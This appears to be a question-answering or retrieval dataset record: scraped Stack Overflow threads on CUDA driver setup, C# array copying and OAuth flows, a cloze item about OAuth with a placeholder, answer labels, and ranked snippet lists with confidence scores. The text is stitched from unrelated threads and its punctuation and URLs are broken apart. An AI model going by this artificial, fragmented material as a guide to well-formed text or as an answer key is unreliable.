.. . Nvidia installer cannot continue This graphics card could not find compatible graphics hardware . I am beginner in programming with CUDA I want to know can I compile and run my CUDA program with out installing Nividia Driver Cuda toolkit and SDK installed successfully in my machine but whenI run my program I cannot set my Cuda device . Does it mean I need to install Nividia Driver enter image description here http : i.stack.imgur.com Kebuy.jpg .. . .. . output : .. . .. . 35 means it is not set the device if it became 0 means device set . .. . .. . after I run deviceQuery below information I received : .. . .. . Microsoft Windows Version 6.1.7601 Copyright c 2009 Microsoft Corporation . All rights reserved . C : Users xx C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Release deviceQuery.exe deviceQuery.exe starting.. . C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Relea se deviceQuery.exe Starting.. . CUDA Device Query Runtime API version CUDART static linking Found 1 CUDA Capable device s Device 0 : GeForce GT 640M LE CUDA Driver Version Runtime Version 4.2 4.2 CUDA Capability Major Minor version number : 3.0 Total amount of global memory : .. . 1024 MBytes 1073741824 bytes 2 Multiprocessors x 192 CUDA Cores MP : 384 CUDA Cores GPU Clock rate : .. . 405 MHz 0.41 GHz Memory Clock rate : .. . 900 Mhz Memory Bus Width : 128-bit L2 Cache Size : 262144 bytes Max Texture Dimension Size x y z 1D 65536 2D 65536 65536 3 D 4096 4096 4096 Max Layered Texture Size dim x layers .. . 1D 16384 x 2048 2D 16384 16 384 x 2048 Total amount of constant memory : 65536 bytes Total amount of shared-memory per block : 49152 bytes Total number of registers available per block : 65536 Warp size : 32 .. . Maximum number of threads per multiprocessor : 2048 Maximum number of threads per block : 1024 Maximum sizes of each dimension of a block : 1024 x 1024 x 64 Maximum sizes of each dimension of a grid : 2147483647 x 65535 x 65535 Maximum memory pitch : .. . 2147483647 bytes Texture alignment : 512 bytes Concurrent copy and execution : Yes with 1 copy engine s Run time limit on kernels : Yes .. . Integrated GPU sharing Host Memory : No Support host page-locked memory mapping : Yes Concurrent kernel execution : .. . Yes Alignment requirement for Surfaces : Yes Device has ECC support enabled : No Device is using TCC driver mode : No Device supports Unified Addressing UVA : .. . No Device PCI Bus ID PCI location ID : 1 0 Compute Mode : Default multiple host threads can use : : cudaSetDevice with device simu ltaneously deviceQuery CUDA Driver CUDART CUDA Driver Version 4.2 CUDA Runtime Versi on 4.2 NumDevs 1 Device GeForce GT 640M LE deviceQuery.exe test results.. . PASSED .. . .. . exiting in 3 seconds : 3...2...1...done Comment : Your CUDA code snippet is complete nonsense and you shouldn t expect it to return anything meaningful even if you had correctly functioning CUDA installations in your laptops . Comment : @talonmies : I did too since your second command was rude to me . I am so disappointed with your language . Any way I take screenshot to prove the reader all the driver installed in my computer successfully . One more thing my computer contain 2 VGA so I tried to explain it to make it clear...Finally I am not so familiar with CUDA but you can check all the fields of class cudaError t you will find a field which is equal to 0 else condition means you couldnt set your device successfully . Comment : Hey I am using windows-7 32bit on my mac via bootcamp with Geforce 320M as card graphic . I have the same problem . Did you find the solution .. . Answer : I want to know can I compile and run my CUDA program with out installing Nividia Driver Cuda toolkit and SDK installed successfully in my machine but whenI run my program I cannot set my Cuda device . Does it mean I need to install Nividia Driver You will definitely need drivers to run the program . Have you tried running deviceQuery.exe provided with the binaries . That should give you a good starting point as to what is going wrong . Comment : I edit my question would you review it once more Comment : @rima : Device query looks okay . Two questions : Why are you doing cudaSetDevice 4000 since there is no device with id 4000 . I think the parameter for cudaSetDevice should be the deviceId . Try putting 0 there and see the output . Also why does the for-loop go 10 times when you have only 1 gpu device Comment : @rima : Please up my answer once if you like it Comment : Sorry that one was mistake I already modified it . I tried with 0 but it could not set therefore I wrote those line in order to test how many device I have they are a lot around 64000+ . Would you elaborate more what do you mean by Device query looks okay Comment : By device query looks okay i mean that it appears that your GPU is configured correctly and you should be able to write GPU code .", "Question : Is there an efficient way to take a subset of a C array and pass it to another peice of code without modifying the original array I use CUDA.net which has a function which copies an array to the GPU . I would like to e.g . pass the function a 10th of the array and thus copy each 10th of the array to the GPU seperately for pipelining purposes . Copying the array in this way should be as efficient as copying it in one go . It can be done with unsafe code and just referencing the proper memory location but other than that I m not sure . The CopyTo function copies the entire array to another array so this does not appear useful . .. . Answer : You could use extension-methods and yield-return : Comment : Thats good for some purposes but thats not efficient a Array.Copy would be much faster . Comment : In what way isn t it efficient If you only want to iterate over parts of an array it s more efficient than copying an array . Comment : Sorry should explain it in the right way . For iterating you might be right but there are a lot of operations which occur when using yield . The questions author of the author is how to copy a subset of a array to the gpu when using the method described above you need to call ToArray which would be terrible inefficient . The method is not bad but not good for this purpose imho .", "Question : Is there an efficient way to take a subset of a C array and pass it to another peice of code without modifying the original array I use CUDA.net which has a function which copies an array to the GPU . I would like to e.g . pass the function a 10th of the array and thus copy each 10th of the array to the GPU seperately for pipelining purposes . Copying the array in this way should be as efficient as copying it in one go . It can be done with unsafe code and just referencing the proper memory location but other than that I m not sure . The CopyTo function copies the entire array to another array so this does not appear useful . .. . Answer : Okay I d misunderstood the question before . What you want is System.Buffer.BlockCopy http : msdn.microsoft.com en-us library system.buffer.blockcopy.aspx or System.Array.Copy http : msdn.microsoft.com en-us library z50k9bft.aspx . The LINQ ways will be hideously inefficient . If you re able to reuse the buffer you re copying into that will also help the efficiency avoiding creating a new array each time - just copy over the top . Unless you can divide your big array up equally though you ll need a new one for the last case ." ] }
[ "yes-answer-long", "yes-answer-short" ]
api
UNK_RELATION
oauth@user@123
oauth -- oauth open authorization is a specification for client applications to access protected resources on behalf of a @placeholder .
{ "confidence": [ 42.666748046875, 41.21314239501953, 38.9456672668457, 38.6891975402832, 37.87222671508789, 37.112144470214844, 37.05390930175781, 37.05390930175781, 36.73456954956055, 36.459388732910156, 36.459388732910156, 36.272239685058594, 36.272239685058594, 36.272239685058594, 35.99436569213867, 35.982749938964844, 35.828704833984375, 35.80427169799805, 35.65534591674805, 35.55189514160156, 35.516998291015625, 35.417606353759766, 35.385833740234375, 35.31333923339844, 35.18260955810547, 35.11892318725586, 34.83611297607422, 34.7247428894043, 34.6785888671875, 34.6785888671875, 34.63731002807617, 34.56050491333008, 34.56050491333008, 34.416343688964844, 34.406944274902344, 34.322959899902344, 34.124176025390625, 34.054443359375, 34.023780822753906, 34.0079231262207, 33.97740173339844, 33.9702262878418, 33.87881851196289, 33.87881851196289, 33.72858428955078, 33.72276306152344, 33.695491790771484, 33.695491790771484, 33.64356994628906, 33.50889587402344, 33.390533447265625, 33.256282806396484, 33.18008804321289, 33.137508392333984, 33.08300018310547, 33.04330062866211, 33.04330062866211, 32.97309875488281, 32.93162536621094, 32.82581329345703, 32.809608459472656, 32.781314849853516, 32.757781982421875, 32.70738983154297, 32.66881561279297, 32.64035415649414, 32.49782943725586, 32.49782943725586, 32.49237060546875, 32.489768981933594, 32.434852600097656, 32.40631103515625, 32.359779357910156, 32.19938659667969, 32.182281494140625, 32.147560119628906, 32.09306716918945, 32.07307434082031, 32.02013397216797, 32.016578674316406, 32.016578674316406, 31.97528076171875, 31.97006607055664, 31.91158676147461, 31.810562133789062, 31.723907470703125, 31.718706130981445, 31.71742820739746, 31.717260360717773, 31.658784866333008, 31.595001220703125, 31.58635902404785, 31.564638137817383, 31.528438568115234, 31.526477813720703, 31.5128116607666, 31.447343826293945, 31.423845291137695, 31.399761199951172 ], "content": [ "In OAuth the user authorizes access to their protected resources and in OpenID to their identity .", "OAuth v2 specs indicates : Access token attributes and the methods used to access protected resources are beyond the scope of this specification and are defined by companion specifications .", "api that requires oauth authentication to access protected data .", "OAuth is intended for delegated authorization .", "The normal flow dictates that applications send request tokens to oauth authorize in Twitter s implementation of the OAuth Specification .", "Exchanging the OAuth Request Token for an OAuth Access Token .", "oAuth is both Authentication AND Authorization .", "This following function is for OAuth authorization .", "OAuth 2.0 RFC 6749 https : tools.ietf.org html rfc6749 is a specification for authorization .", "This is a main criticism against OAuth from client applications that were not browser based .", "OAuth 2.0 no longer requires client applications to have cryptography .", "after successful OAuth authorization .", "it includes Authorization OAuth variables .", "OAuth-Authorization Server .. . 4 .", "The Auth in OAuth stands for authorization and not authentication .", "OAuth protocol follows the Token based access to the resources .", "OAuth is an open standard for authorization which created in Twitter 2006 .", "I ve read the specifications The OAuth 2.0 Authorization framework and The OAuth 2.0 Authorization framework : bearer token usage .", "But the OAuth specification calls for it .", "OAuth is a RESTful service to the PingFederate OAuth Authorization Server OAS .", "The question was about an OAuth server the link you provided is to an OAuth client .", "OAuth will use the client to give permission to access .", "In that sense OAuth 1.0 is a specification only for confidential clients .", "@the-elite-gentleman Oauth is used for authorization not authentication .", "The OAuth specification does not make any assumptions about the type of client except in the actual authorization step where a browser is used but you are free to enforce that of course .", "Upon authorization I want user to be able to access only the resources belonging to the tenant who created that particular oauth application .", "OAuth handles authorization but it is not a substitute for the traditional USER ROLES table user access .", "For OAuth you would need to get an access token yourself and add an Authorization header manually - not trivial especially for OAuth 1.0 .", "Google APIs use OAuth 2.0 for authentication and authorization .", "Meaning that OAuth is designed to allow authorization .. . .. . i.e .", "OpenID http : openid.net is an authentication protocol OAuth http : oauth.net and OAuth WRAP http : wiki.oauth.net OAuth-WRAP are authorization protocols .", "what is Authorization : Standard OAuth credentials", "OAuth is about delegation of authorization e.g .", ".. . .. . 3- Client Application Configuration .. . .. . The last step is to configure the resources to be protected by OAuth 2.0 .", "So when we use OAuth the authorization is not to the user but to the client application", "Owin Oauth authorization server http : www.asp.net aspnet overview owin-and-katana owin-oauth-20-authorization-server", "The client would authenticate to an Authorization Server to get a derived token that it can present to the resource API to get access to the protected resources .", "Request an access token from the Google OAuth 2.0 Authorization Server .", "If there is no third party applications then no OAuth is required .", "Go back to the Developers Console and open the OAuth Client ID created above .", "It kind of beats the specification of the oAuth protocol .", "See : .. . .. . https : cwiki.apache.org confluence display OLTU OAuth+2.0+Authorization+Server for the Authorization server .. . https : cwiki.apache.org confluence display OLTU OAuth+2.0+Resource+Server for the Resource server .. . .. . Spring Security has also an OAuth sub-project with support for OAuth 1.0a and OAuth2 both client and server .", "OAuth is intended to manage access to your REST API by third party applications .", "OAuth is for letting applications access each other securely : data sharing .", "the Client Credentials flow in OAuth 2.0 is useful when a client wants to access certain resources without disclosing its primary client credentials to the resource API .", "In the OAuth 2 examples you reference they re using : client.Headers Authorization OAuth + rstrStore.SecurityToken AFAIK .", "The second tricky part is is getting the OAuth Authorization Header .", "Put the OAuth data in the Authorization header not on the URI .", "I m stuck with OAuth token authorization .", "This is the Authorization code flow as described by the OAuth 2 protocol .", "Scribe is an OAuth OAuth2 client not a provider .", "Is there a way to grant a user access to protected Django-serve HTML page using OAuth access token provided by django-oauth-toolkit https : github.com evonove django-oauth-toolkit", "When a client asks a resource server to get a protected resource with an OAuth 2.0 access token how does this server validate the token", "Request an access token from the Google OAuth 2.0 Authorization Server .", "It is a specification for authorization and access to APIs .", "OpenID is an authentication protocol OAuth is an authorization protocol .", "OAuth is for delegating authorization through the use of tokens .", "There is an example in the oauth repository : oauth client example http : oauth.googlecode.com svn code python oauth example client.py", "The repo can be found here : https : github.com stormpath stormpath-java-oauth-servlet-sample .. . .. . It demonstrates running a servlet application and having an out-of-band program get and use oauth tokens to access protected resources .", "OAuth BTW was designed for a specific use-case : delegate access to an API to another system on your behalf .", "With OAuth 2.0 there are now new ways for an application to get authorization for a user .", "From the terminology you use client key and client secret it sounds like Manifold uses OAuth 1 but you have an OAuth 2 access token .", "create OAuth Client ID Other ....done the job .", "For a more detailed description see OAuth for Web Applications .", "The OAuth 2.0 spec doesn t clearly define the interaction between a Resource Server RS and Authorization Server AS for access token AT validation .", "The OAuth client was not found .", "Select Manage third party OAuth Client access in the Authentication section .", "3 Go to the API Access menu and create an OAuth 2 Client ID .", "Not exactly the whole point of the OAuth flow is that the user the client you re accessing the data on behalf of needs to give you permission to access their data .", "Some info : quora.com Is-it-safe-to-implement-OAuth-on-the-client-side http : www.quora.com Is-it-safe-to-implement-OAuth-on-the-client-side", "Apigee requires the access token prefix to be Bearer in the HTTP Header Authorization for Client Credentials OAuth 2.0 .", "Notes for v1.47.0 .. . .. . o Add OAuth 2.0 support leveraging Google OAuth Client for Java http : code.google.com p google-oauth-java-client .", "OAuth 2.0 Access tokens are short-lived .", ".. . .. . Edit OAuth authorization scheme changed a while back e.g .", "OAuth 2.0 will only obselete OAuth if it is approved as an RFC .", "OAuth Client library or using the plain cURL", "Notice the authorization nature of OAuth here : user grants access to his resource through the code returned after authentication to an app the app get s an access token and calls on the user s behalf .", "Jawbone UP API oAuth and Access Tokens http : stackoverflow.com questions 29321659 jawbone-up-api-oauth-and-access-tokens", "About to open up a public api with OAuth access no problem with that .", "Google Code has several libraries for doing OAuth http : code.google.com p oauth both server and client .", "I ve implemented the OAuth client using Scribe API and the Spring controller that does the OAuth dance is below .", "I ve prepared an example that demonstrates oauth token creation as well as authorized access to protected pages using access tokens .", "In the HTTP Authorization header as defined in OAuth HTTP Authorization Scheme .", "Basically one generates an OAuth Client ID OAuth Client secret and a Refresh Token using Google s OAuth 2.0 Playground https : code.google.com oauthplayground .", "I was missing Obtaining Token Credentials https : www.etsy.com developers documentation getting started oauth section obtaining token credentials which are the permanent tokens you need to access protected resources .", "The OAuth 2.0 specification uses the term Authentication Server .", "By default the OAuth flow is disabled for applications which is why you are seeing the Authorization not allowed failure .", "Adieu : - .. . .. . PS This is an implementation of the TwitterOAuthService : .. . .. . Additional Resources .. . .. . OAuth 1 authorization with JOAuth example needed .", "Other potential techniques include using OAuth to verify the client with your server which then performs a second run of the OAuth protocol with the authorization server you wish to access .", "Finally OAuth 2.0 is meant to have a clean separation of roles between the server responsible for handling OAuth requests and the server handling user authorization .", "However a few services such as Facebook and Twitter have chosen to use OAuth for authentication and authorization instead of using OpenID for authentication and OAuth for authorization .", "Yes Oauth is supported for installed applications see Gmail IMAP and SMTP using OAuth http : code.google.com apis gmail oauth code.html documentation .", "OpenID and OAuth are each HTTP-based protocols for authentication and or authorization .", "You then do a server-to-server request from Apps Script to the OAuth 2.0 token endpoint to exchange the authorization code for an OAuth access token .", "There s no OAuth mechanism for allowing access to resources in an AWS account .", "Click New Credentials OAuth client ID .", "Here s a good example : OAuth 2.0 final specification http : stackoverflow.com questions 4461945 oauth-2-0-final-specification .. . .. . Go with the latest draft of the OAuth 2.0 framework spec : http : tools.ietf.org html draft-ietf-oauth-v2-27 .. . .. . Most supplementary specs that would be of relevance to you are likely linked from it .", "I am playing around with the Oauth 2.0 authorization in Facebook and was wondering if the access tokens Facebook passes out ever expire .", "This 1 is the 2LO OAuth 2.0 implementation of Google OAuth you can use on App Engine and is usually refereed as the OAuth for Server to Server Applications on public documentation ." ] }
{ "confidence": [ 59.63651657104492, 56.873863220214844, 55.649932861328125, 54.24322509765625, 54.23149108886719, 53.01921463012695, 52.88568878173828, 52.60854721069336, 52.35019302368164, 51.36875534057617, 50.93846893310547, 50.779422760009766, 50.44546890258789, 50.41845703125, 49.906272888183594, 49.86910629272461, 49.7957878112793, 49.62592697143555, 49.232357025146484, 49.03057861328125 ], "content": [ "Question : I don t know if I just have some kind of blind spot or what but I ve read the OAuth 2 spec many times over and perused the mailing list archives and I have yet to find a good explanation of why the Implicit Grant flow for obtaining access tokens has been developed . Compared to the Authorization Code Grant it seems to just give up on client authentication for no very compelling reason . How is this optimized for clients implemented in a browser using a scripting-language to quote the specification Both flows start out the same source : http : tools.ietf.org html draft-ietf-oauth-v2-22 : .. . .. . 1 . The client initiates the flow by directing the resource owner s user-agent to the authorization endpoint . 2 . The authorization server authenticates the resource owner via the user-agent and establishes whether the resource owner grants or denies the client s access request . 3 . Assuming the resource owner grants access the authorization server redirects the user-agent back to the client using the redirection URI provided earlier in the request or during client registration . The redirection URI includes an authorization code Authorization code flow .. . The redirection URI includes the access token in the URI fragment Implicit flow .. . .. . Here s where the flows split . In both cases the redirection URI at this point is to some endpoint hosted by the client : .. . .. . In the Authorization code flow when the user-agent hits that endpoint with the Authorization code in the URI code at that endpoint exchanges the authorization code along with its client credentials for an access token which it can then use as needed . It could for example write it into a web page that a script on the page could access . The Implicit flow skips this client authentication step altogether and just loads up a web page with client script . There s a cute trick here with the URL fragment that keeps the access token from being passed around too much but the end result is essentially the same : the client-hosted site serves up a page with some script in it that can grab the access token . Hence my question : what has been gained here by skipping the client authentication step Comment : Have a look at this : ibm.com developerworks wikis display http : www.ibm.com developerworks wikis display tivolifederatedidentitymanager Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : Link in the previous comment is dead . Here s an updated one https : www.ibm.com developerworks community wikis home lang en wiki IBM+Security+Federated+Identity+Manager page Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : I ve read all the answers here but I still don t understand how not requiring a private client secret to get an access token can be secure . Let s say TrustedAppDeveloper releases TrustedPopularApp that let s users give it permissions say using Twitter oauth using an implicit grant . If I am EvilAppDeveloper what s to stop me from making an app that passes TrustedPopularAppId as the client id in an implicit grant request and then performing actions like spamming a feed on behalf of the user that now look like they are coming from TrustedPopularApp Comment : I wonder the same thing as adevine . But most likely apps that require an implicit grant request have no need for more authentication as they are all gets Comment : @adevine What would prevent the EvilApp in your scenario from authenticating to Twitter as TrustedPopularApp is that it couldn t receive the callbacks from Twitter they would always be sent to the URI that was defined when registing the client ID .. . Answer : The usual explanation is that the Implicit grant is easier to implement when you re using a JavaScript client . But I think this is the wrong way to look at it . If you re using a JavaScript client that requests protected resources directly via XMLHttpRequest the Implicit grant is your only option although it s less secure . The Authorization Code grant provides additional security but it only works when you have a web server requesting the protected resources . Since the web server can store the access token you run less risk of the access token being exposed to the Internet and you can issue a token that lasts a long time . And since the web server is trusted it can be given a refresh token so it can get a new access token when the old one expires . But -- and this is a point that s easy to miss -- the security of the Authorization code flow works only if the web server is protected with a session which is established with user authentication login . Without a session an untrusted user could just make requests to the web server using the client id and secret and it would be the same as-if the user had the access token . Adding a session means that only an authenticated user can access the protected resources . The client id and secret are just identity of the JS webapp not authentication of said webapp . It also means that you can end the session before the OAuth token expires . There s no standard way to invalidate an access token . But if your session expires the access token is useless since nobody knows it but the web server . If an untrusted user gained access to your session key they would only be able to access the protected resources for as long as the session was valid . If there s no web server you have to use the Implicit grant . But this means that the access token is exposed to the Internet . If an untrusted user gains access to it they can use it until it expires . This means they ll have access to it for longer than with an Authorization Code grant . So you may want to consider making the token expire sooner and avoid giving access to more sensitive resources .", "Question : What are some real-world scenarios for 2-legged OAuth Is it only applicable for mobile desktop apps Comment : This questions seems too broad and off topic Comment : Hmm.... . There are not many resources on web that are to the point and explain the details . I have found a lot of links which are vague . So had to come to SO .. . Answer : 2-legged OAuth aka . the Client Credentials flow in OAuth 2.0 is useful when a client wants to access certain resources without disclosing its primary client credentials to the resource API . The client would authenticate to an Authorization Server to get a derived token that it can present to the resource API to get access to the protected resources . Getting the token and presenting it is done in a standardized and interoperable way without pestering the resource API with different authentication mechanisms . It also makes revocation of access easier because that is controlled in a centralized fashion on the Authorization Server independent of the client s primary credentials . See also : How does 2-legged oauth work in OAuth 2.0 http : stackoverflow.com questions 14250383 how-does-2-legged-oauth-work-in-oauth-2-0 .. . .. . It is applicable across mobile desktop and web-applications although keeping a client secret in mobile and desktop applications is arguably hard so it is most suitable in server-side environments . A real world scenario is a batch script that fetches data from a remote API and processes it . Comment : The real world scenario does not make much sense to me. . Can you explain it a bit more And give any other examples is possible", "Question : null .. . Answer : I m working with a multitenant application where each tenant can create oauth applications . Upon authorization I want user to be able to access only the resources belonging to the tenant who created that particular oauth application . In short I want tenants to be restricted from accessing each others resources using the client credentials of the oauth applications created by them . Example If tenant A creates Oauth-App1 and shares the client id and secret-key to users then users should be able to access only the resources that belongs-to tenant A .", "Question : Could anyone explain what s good about OAuth2 and why we should implement it I ask because I m a bit confused about it here s my current thoughts : .. . .. . OAuth1 more precisely HMAC requests seem logical easy to understand easy to develop and really really secure . OAuth2 instead brings authorization requests access tokens and refresh tokens and you have to make 3 requests at the very start of a session to get the data you re after . And even then one of your requests will eventually end up failing when the token expires . And to get another access token you use a refresh token that was passed at the same time as the access token . Does that make the access token futile from a security point of view Plus as r netsec have showed recently SSL isn t all entirely secure so the push to get everything onto TLS SSL instead of a secure HMAC confuses me . OAuth are arguing that it s not about 100 safety but getting it published and finished . That doesn t exactly sound promising from a provider s point of view . I can see what the draft is trying to achieve when it mentions the 6 different flows but it s just not fitting together in my head . I think it might be more my struggling to understand it s benefits and reasoning than actually disliking it so this may be a bit of an unwarranted attack and sorry if this could seem like a rant . Comment : See stackoverflow.com questions 4113934 http : stackoverflow.com questions 4113934 how-is-oauth-2-different-from-oauth-1 Comment : Please clarify stackoverflow.com questions 9565744 http : stackoverflow.com questions 9565744 oauth-2-params-ordering-and-signature-integrity .. . Answer : Background : I ve written client and server stacks for OAuth 1.0a and 2.0 . Both OAuth 1.0a 2.0 support two-legged authentication where a server is assured of a user s identity and three-legged authentication where a server is assured by a content provider of the user s identity . Three-legged authentication is where authorization requests and access tokens come into play and it s important to note that OAuth 1 has those too . The complex one : three-legged authentication .. . .. . A main point of the OAuth specs is for a content provider e.g . Facebook Twitter etc . to assure a server e.g . a Web app that wishes to talk to the content provider on behalf of the client that the client has some identity . What three-legged authentication offers is the ability to do that without the client or server ever needing to know the details of that identity e.g . username and password . Without getting too deep into the details of OAuth : .. . .. . 1 . The client submits an authorization request to the server which validates that the client is a legitimate client of its service . 2 . The server redirects the client to the content provider to request access to its resources . 3 . The content provider validates the user s identity and often requests their permission to access the resources . 4 . The content provider redirects the client back to the server notifying it of success or failure . This request includes an authorization code on success . 5 . The server makes an out-of-band request to the content provider and exchanges the authorization code for an access token . The server can now make requests to the content provider on behalf of the user by passing the access token . Each exchange client- server server- content provider includes validation of a shared-secret but since OAuth 1 can run over an unencrypted connection each validation cannot pass the secret over the wire . That s done as you ve noted with HMAC . The client uses the secret it shares with the server to sign the arguments for its authorization request . The server takes the arguments signs them itself with the client s key and is able to see whether it s a legitimate client in step 1 above . This signature requires both the client and the server to agree on the order of the arguments so they re signing exactly the same string and one of the main complaints about OAuth 1 is that it requires both the server and clients to sort and sign identically . This is fiddly code and either it s right or you get 401 Unauthorized with little help . This increases the barrier to writing a client . By requiring the authorization request to run over SSL OAuth 2.0 removes the need for argument sorting and signing altogether . The client passes its secret to the server which validates it directly . The same requirements are present in the server- content provider connection and since that s SSL that removes one barrier to writing a server that accesses OAuth services . That makes things a lot easier in steps 1 2 and 5 above . So at this point our server has a permanent access token which is a username password equivalent for the user . It can make requests to the content provider on behalf of the user by passing that access token as part of the request as a query argument HTTP header or POST form-data . If the content service is accessed only over SSL we re done . If it s available via plain HTTP we d like to protect that permanent access token in some way . Anyone sniffing the connection would be able to get access to the user s content forever . The way that s solved in OAuth 2 is with a refresh token . The refresh token becomes the permanent password equivalent and it s only ever transmitted over SSL . When the server needs access to the content service it exchanges the refresh token for a short-lived access token . That way all sniffable HTTP accesses are made with a token that will expire . Google is using a 5 minute expiration on their OAuth 2 APIs . So aside from the refresh tokens OAuth 2 simplifies all the communications between the client-server and content provider . And the refresh tokens only exist to provide security when content is being accessed unencrypted . Two-legged authentication .. . .. . Sometimes though a server just needs to control access to its own content . Two-legged authentication allows the client to authenticate the user directly with the server . OAuth 2 standardizes some extensions to OAuth 1 that were in wide use . The one I know best was introduced by Twitter as xAuth https : dev.twitter.com docs oauth xauth . You can see it in OAuth 2 as Resource Owner Password Credentials http : tools.ietf.org html draft-ietf-oauth-v2-22 section-1.3.3 . Essentially if you can trust the client with the user s credentials username and password they can exchange those directly with the content provider for an access token . This makes OAuth much more useful on mobile apps--with three-legged authentication you have to embed an HTTP view in order to handle the authorization process with the content server . With OAuth 1 this was not part of the official standard and required the same signing procedure as all the other requests . I just implemented the server-side of OAuth 2 with Resource Owner Password Credentials and from a client s perspective getting the access token has become simple : request an access token from the server passing the client id secret as an HTTP Authorization header and the user s login password as form-data . Advantage : Simplicity .. . .. . So from an implementor s perspective the main advantages I see in OAuth 2 are in reduced complexity . It doesn t require the request signing procedure which is not exactly difficult but is certainly fiddly . It greatly reduces the work required to act as a client of a service which is where-in the modern mobile world you most want to minimize pain . The reduced complexity on the server- content provider end makes it more scalable in the datacenter . And it codifies into the standard some extensions to OAuth 1.0a like xAuth that are now in wide use . Comment : The way you ve explained it is really easy to understand thanks . Comment : Hi Peter I would love to ask for more details particularly the part about 2 legged OAuth . This line especially if you can trust the client with the user s credentials username and password they can exchange those directly with the content provider for an access token I managed to implement the 3 legged with the use of authorization codes . I have sent you a tweet . Hope to hear from you soon . Comment : Hi @kimsia what s the question I d be happy to expand this answer . Comment : Hi @PeterT stackoverflow.com questions 11071482 http : stackoverflow.com questions 11071482 oauth2-0-server-stack-how-to-use-state-to-prevent-csrf-for-draft2-0-v20 and a more personal question is have you implemented OAuth2 server stack on php before if so I am now on v20 should I update my code to the latest v27 Thank you Comment : I just have one question because I got confused - for mobile apps is it better to use 2-legged or 3-legged authentication", "Question : Why do you need both a code and a token in the Facebook OAuth2 authentication flow as described here : https : developers.facebook.com docs authentication If you look at the OAuth dialog reference https : developers.facebook.com docs reference dialogs oauth it seems like you only ever use the token to fetch information about the user and if you specify the response type-parameter as token or code token then you get the token on the first time . Why do you need to get a code and then use the code to get a token as opposed to getting the token directly I guess I m misunderstanding something basic about how OAuth works but it seems you avoid the request to https : graph.facebook.com oauth access token entirely if you get the token the first time with the dialog . .. . Answer : Borrowed shamelessly from Salesforce Documentation http : wiki.developerforce.com page Digging Deeper into OAuth 2.0 on Force.com : .. . .. . Authorization Code .. . .. . An authorization code is a short-lived token representing the user s access grant created by the authorization server and passed to the client application via the browser . The client application sends the authorization code to the authorization server to obtain an access token and optionally a refresh token . Access Token The access token is used by the client to make authenticated requests on behalf of the end user . It has a longer lifetime than the authorization code typically on the order of minutes or hours . When the access token expires attempts to use it will fail and a new access token must be obtained via a refresh token . Comment : Why the use of both What are the advantages of each Is it only because of lifetime Could you expand this answer a bit please as it doesn t really answer the OP . Comment : @Anoyz they have different purposes . Web application needs Authorization Code to get from authorization server Access Token and it needs Access Token to authenticate its access to the user s resources on their behalf . Comment : why vote to this NO ANSWER post . Comment : Just copy the definition from the official site makes no sense at all . Please tell the reason why we need an Authorization Code to get the Access token instead of geting the Access token directly . Comment : see my answer below hope that help .", "Question : When a client asks a resource server to get a protected resource with an OAuth 2.0 access token how does this server validate the token The OAuth 2.0 refresh token protocol Comment : The server is supposed to be able to validate the token it has previously issued itself.. . Usually this will be a database lookup or crypto self-signed tokens . Comment : I see . How about this case the resource owner WS and client WS are both on difference devices Comment : You mean the authentication service and the resource service the client consumer will always be on a different device and cannot validate tokens himself If that is the case you can use refresh tokens that are expensive to check only auth server can do it but long-lived and access tokens that expire frequently and can be checked offline . Comment : blog.facilelogin.com 2016 03 http : blog.facilelogin.com 2016 03 adding-oauth-20-token-introspection.html .. . Answer : OAuth v2 specs indicates : Access token attributes and the methods used to access protected resources are beyond the scope of this specification and are defined by companion specifications . My Authorisation Server has a webservice SOAP endpoint that allows the Resource Server to know whether the access token is valid .", "Question : I wonder if I should use the CAS http : www.jasig.org cas protocol or OAuth http : oauth.net + some authentication provider for single sign-on . Example Scenario : .. . .. . 1 . A User tries to access a protected resource but is not authenticated . 2 . The application redirects the user to the SSO server . 3 . If beeing authenticated the user gets a token from the SSO server . 4 . The SSO redirects to the original application . 5 . The original application checks the token against the SSO server . 6 . If the token is ok access will be allowed and the application knows of the user id . 7 . The user performs a log-out and is logged out from all connected application at the same time single sign-out . As far as I understand that is exactly what was CAS invented for . CAS clients have to implement the CAS protocol to use the authentication service . Now I m wondering about to use CAS or OAuth at the client consumer site . Is OAuth a replacement for that part of CAS Should OAuth as a new de-facto standard be preferred Is there an easy to use not Sun OpenSSO replacement for the authentication part of CAS supporting different methods like username password OpenID TLS certifactes .. . Context : .. . .. . Different applications should rely on the authentication of the SSO server and should use something session-like . The applications can be GUI web-applications or REST serivces . The SSO server must be provide a user id which is necessary to get more information about the user like roles email and so on from a central user information store . Single Sign-out should be possible . Most clients are written in Java or PHP . I ve just discovered WRAP http : hueniverse.com 2009 11 wrap-and-the-demise-of-the-oauth-community which could become the OAuth successor . It is a new protocol specified by Microsoft Google and Yahoo . Addendum .. . .. . I ve learned that OAuth was not designed for authentication even it could be used to implement SSO but only together with a SSO service like OpenID . OpenID seems to me to be the new CAS . CAS has some features OpenID misses like single sign-out but it should not be to hard to add the missing parts in a particular scenario . I think OpenID has broad acceptance and it is better to integrate OpenID into applications or application servers . I know that CAS also supports OpenID but I think CAS is dispensable with OpenID . Comment : Single sign-out is an anti-feature . All of the user studies I m aware of that have covered it have indicated that it s anywhere from mildly to extremely confusing to novice and power users alike . I personally have to use a system that makes use of single sign-out on a daily basis and I find it incredibly irritating . It s almost never the behavior I want . Comment : Don t agree that single sign-out is an antifeature . It all depends on the applications in question . For web-applications that somehow relate to eachother i.e . google mail and google-calendar it makes sense that if you loggout explicitly out of one that you logout of the other . In cases with apps where there is no apparent relationship I do agree with Bob . Comment : Note that this question was originally asked before OAuth 2.0 had been introduced so the information related to OAuth may no longer be correct . .. . Answer : OpenID is not a successor or substitute for CAS they re different in intent and in implementation . CAS centralizes authentication . Use it if you want all your probably internal applications to ask users to login to a single server all applications are configured to point to a single CAS server . OpenID decentralizes authentication . Use it if you want your application to accept users login to whatever authentication service they want the user provides the OpenID server address - in fact the username is the server s URL . None of the above handle authorization without extensions and or customization . OAuth handles authorization but it is not a substitute for the traditional USER ROLES table user access . It handles authorization for third-parties . For example you want your application to integrate with Twitter : a user could allow it to tweet automatically when they update their data or post new content . You want to access some third-party service or resource on behalf of a user without getting his password which is obviously unsecure for the user . The application asks Twitter for access the user authorizes it through Twitter and then the app may have access . So OAuth is not about Single Sign-On nor a substitute for the CAS protocol . It is not about you controlling what the user can access . It is about letting the 